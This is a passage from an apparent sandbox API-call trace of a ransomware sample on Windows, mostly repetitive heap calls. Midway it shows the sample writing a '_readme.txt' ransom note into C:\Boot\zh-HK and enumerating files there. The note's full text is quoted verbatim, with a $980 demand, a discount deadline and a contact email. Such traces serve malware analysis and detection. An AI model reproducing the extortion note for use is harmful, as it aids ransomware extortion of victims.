dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.341] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.341] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.341] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.341] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.341] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.342] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.342] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.342] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.342] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.342] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.342] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.342] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.342] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.342] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.342] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.342] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0xc46) returned 0x3ae1ff0 [0124.342] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.342] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.342] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.342] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.342] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.342] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.342] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.342] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.342] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x860) returned 0x3ae1ff0 [0124.342] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.342] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.342] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.342] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x860) returned 0x3ae1ff0 [0124.342] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.342] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.342] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.342] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.342] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.342] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.342] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.342] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.342] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.342] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.342] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.342] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.342] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0xc46) returned 0x3ae1ff0 [0124.342] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.342] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.342] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.342] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.342] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x840) returned 0x3ad8058 [0124.342] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.343] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.343] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.343] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x840) returned 0x3ad8058 [0124.343] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.343] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.343] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.343] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.343] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.343] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.343] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.343] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.343] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.343] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.343] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.343] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.343] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.343] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.343] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.343] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.343] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.343] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.343] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.343] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.343] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.343] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.343] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.343] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.343] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.343] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.343] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.343] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.343] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.343] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.343] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.343] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.343] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0xc46) returned 0x3ae1ff0 [0124.343] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.343] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.343] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.343] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.343] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.344] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.344] PathFindFileNameW (pszPath="C:\\Boot\\zh-HK\\") returned="zh-HK\\" [0124.344] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.344] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0124.344] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0124.344] PathFindFileNameW (pszPath="") returned="" [0124.344] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.344] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75bd0000 [0124.344] GetProcAddress (hModule=0x75bd0000, lpProcName="SHGetFolderPathW") returned 0x75c55708 [0124.344] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x800) returned 0x3ae1ff0 [0124.344] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3ae1ff0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0124.344] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x810) returned 0x3ae27f8 [0124.344] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.344] FreeLibrary (hLibModule=0x75bd0000) returned 1 [0124.344] PathAppendW (in: pszPath="C:\\Boot\\zh-HK\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\zh-HK\\_readme.txt") returned 1 [0124.344] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.344] PathFileExistsW (pszPath="C:\\Boot\\zh-HK\\_readme.txt") returned 0 [0124.347] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x7d00) returned 0x3ae3bf0 [0124.347] lstrcpyW (in: lpString1=0x3ae3bf0, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5d" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5d") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5d" [0124.347] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5d", lpString2="avGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5davGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5davGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK" [0124.347] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad9168 [0124.347] CreateFileW (lpFileName="C:\\Boot\\zh-HK\\_readme.txt" (normalized: "c:\\boot\\zh-hk\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0124.347] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-HK\\*", lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName=".", cAlternateFileName="")) returned 0x3463848 [0124.348] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="..", cAlternateFileName="")) returned 1 [0124.348] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11250, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0124.348] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11250, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0124.348] FindClose (in: hFindFile=0x3463848 | out: hFindFile=0x3463848) returned 1 [0124.348] PeekMessageW (in: lpMsg=0x3dcfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcfb74) returned 0 [0124.348] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.348] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.348] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.348] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.348] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.348] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.348] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.348] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.348] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.348] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.348] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.348] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.348] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.348] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.348] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.348] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.348] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.348] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.348] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.348] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.348] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.348] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x840) returned 0x3ad88e0 [0124.348] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.348] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.348] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.348] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.348] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0xc2e) returned 0x3ae1ff0 [0124.348] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.348] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.348] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.348] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.348] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.348] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.348] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.349] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.349] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x840) returned 0x3ad88e0 [0124.349] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.349] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.349] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.349] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x860) returned 0x3ae1ff0 [0124.349] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.349] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.349] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.349] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x860) returned 0x3ae1ff0 [0124.349] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.349] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.349] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.349] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.349] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.349] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.349] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.349] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.349] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.349] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.349] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.349] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x840) returned 0x3ad88e0 [0124.349] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.349] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.349] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.349] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x840) returned 0x3ad88e0 [0124.349] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.349] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.349] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.349] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.349] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.349] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.349] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.349] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.349] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.349] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.349] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.349] 